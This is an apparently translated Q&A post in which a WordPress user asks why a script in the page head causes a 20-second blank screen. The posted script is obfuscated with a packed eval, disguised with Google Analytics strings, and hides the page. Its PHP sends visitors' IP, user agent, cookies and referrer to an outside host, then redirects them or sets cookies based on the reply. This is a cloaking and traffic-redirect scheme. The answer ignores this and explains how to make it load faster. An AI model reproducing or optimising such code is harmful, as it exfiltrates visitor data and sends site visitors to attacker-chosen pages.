我在我的wordpress网站上使用以下脚本,就是将此插入页面的头部。当类型url&点击输入页面保持空白(白色屏幕)20秒。然后加载整个页面。
我已尝试使用新的wordpress安装此脚本,使用默认的wordpress主题,即使延迟发生。所以我认为这不是我正在使用的自定义wordpress主题的问题。
即使我把它放在页脚,但没有运气。
下面是我正在使用的2个代码,我需要弄清楚发生了什么。
由于某些原因我的代码没有在这里格式化。请参考此
<style>
html {
display: none;
}
</style>
<script type="text/javascript" src="//code.jquery.com/jquery-latest.min.js"> </script>
<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/jstimezonedetect/1.0.6/jstz.min.js"> </script>
<script>
eval(function(p, a, c, k, e, r) {
e = function(c) {
return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--)
if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('$(2).7(3(){$("8").9();0 f=h i();f.j("k",2.4,l);f.5(m);0 g=f.n().o();0 b="p";0 c=("2","q","//s.t-6.u/6.v");c=("w","x-y-1","z");c=("5","A");0 d=B.C();0 e=d.D();$.E({F:4.G,H:"I",J:"K="+e+"&r="+2.L+"&M="+g,N:3(a){O(a)}})});', 51, 51, 'var||document|function|location|send|analytics|ready|html|hide||||||||new|XMLHttpRequest|open|GET|false|null|getAllResponseHeaders|toLowerCase|GoogleAnalyticsObject|script||www|google|com|js|create|UA|4964223|auto|pageview|jstz|determine|name|ajax|url|href|type|POST|data|tz|referrer|he|success|eval'.split('|'), 0, {}))
<?php
error_reporting(E_ALL & ~E_NOTICE);
if (isset($_POST["tz"])) {
$id = "202186";
$uid = "g7tcv86snc6u6hh7aeuzmbbon";
$qu = $_SERVER["QUERY_STRING"];
$ch = curl_init();
$url = "http://jcibj.com/pcl.php";
$data = array(
"lan" => $_SERVER["HTTP_ACCEPT_LANGUAGE"],
"ref" => $_POST["r"],
"ip" => $_SERVER["REMOTE_ADDR"],
"ipr" => $_SERVER["HTTP_X_FORWARDED_FOR"],
"sn" => $_SERVER["SERVER_NAME"],
"query" => $qu,
"ua" => $_SERVER["HTTP_USER_AGENT"],
"co" => $_COOKIE["_event"],
"tz" => $_POST["tz"],
"he" => $_POST["he"],
"user_id" => $uid,
"id" => $id
);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
curl_close($ch);
$arr = explode(",", $result);
if (!empty($qu)) {
if (strpos($arr[1], "?")) {
$q = "&" . $qu;
} else {
$q = "?" . $qu;
}
} else {
$q = "";
}
if ($arr[0] === "true") {
if (strstr($arr[1], "sp.php")) {
$q = "";
}
if (!empty($arr[7])) {
setcookie($arr[7], $arr[8], time() + 60 * 60 * 24 * $arr[9]);
}
if ($arr[2]) {
if ($arr[4] == 1 OR $arr[4] == 3) {
setcookie("_event", $arr[6], time() + 60 * 60 * 24 * $arr[3]);
}
}
echo '$("body").remove();$("html").append("body").html("<div style=\"\"></div>");window.location.href = "' . $arr[1] . $q . '"';
exit();
} elseif ($arr[0] === "false") {
if ($arr[5]) {
$f = $q;
} else {
$f = "";
}
if ($arr[2]) {
if ($arr[4] == 2 OR $arr[4] == 3) {
setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
}
}
echo '$("body").remove();$("html").append("body").html("<div style=\"\"></div>");window.location.href = "' . $arr[1] . $f . '"';
exit();
} else {
if ($arr[2]) {
if ($arr[4] == 2 OR $arr[4] == 3) {
setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
}
}
echo '$("html").show();$("body").fadeIn(500);';
exit();
}
}
?>
答案 0 :(得分:1)
我认为这是因为curl是一个同步函数,所以它在等待curl响应时停止所有其他执行。我会将curl逻辑放在异步请求(如AJAX)中,并在单独的PHP进程中加载页面。
所以你有一个快速加载的PHP页面,一个通过AJAX触发PHP curl脚本的javascript,然后在结果时附加结果。
即
PHP登陆
<?php
?>
<script
src="https://code.jquery.com/jquery-3.2.1.min.js"
integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
crossorigin="anonymous"></script>
<script type="text/javascript" src="script.js"></script>
<div id="my-container">Loading.. hold on one sec</div>
script.js中的Javascript
$(document).ready(function() {
$.get('my-curl-script.php', function(response) {
$('#my-container').html(response);
});
}
my-curl-script.php中的PHP Curl Logic
上面的代码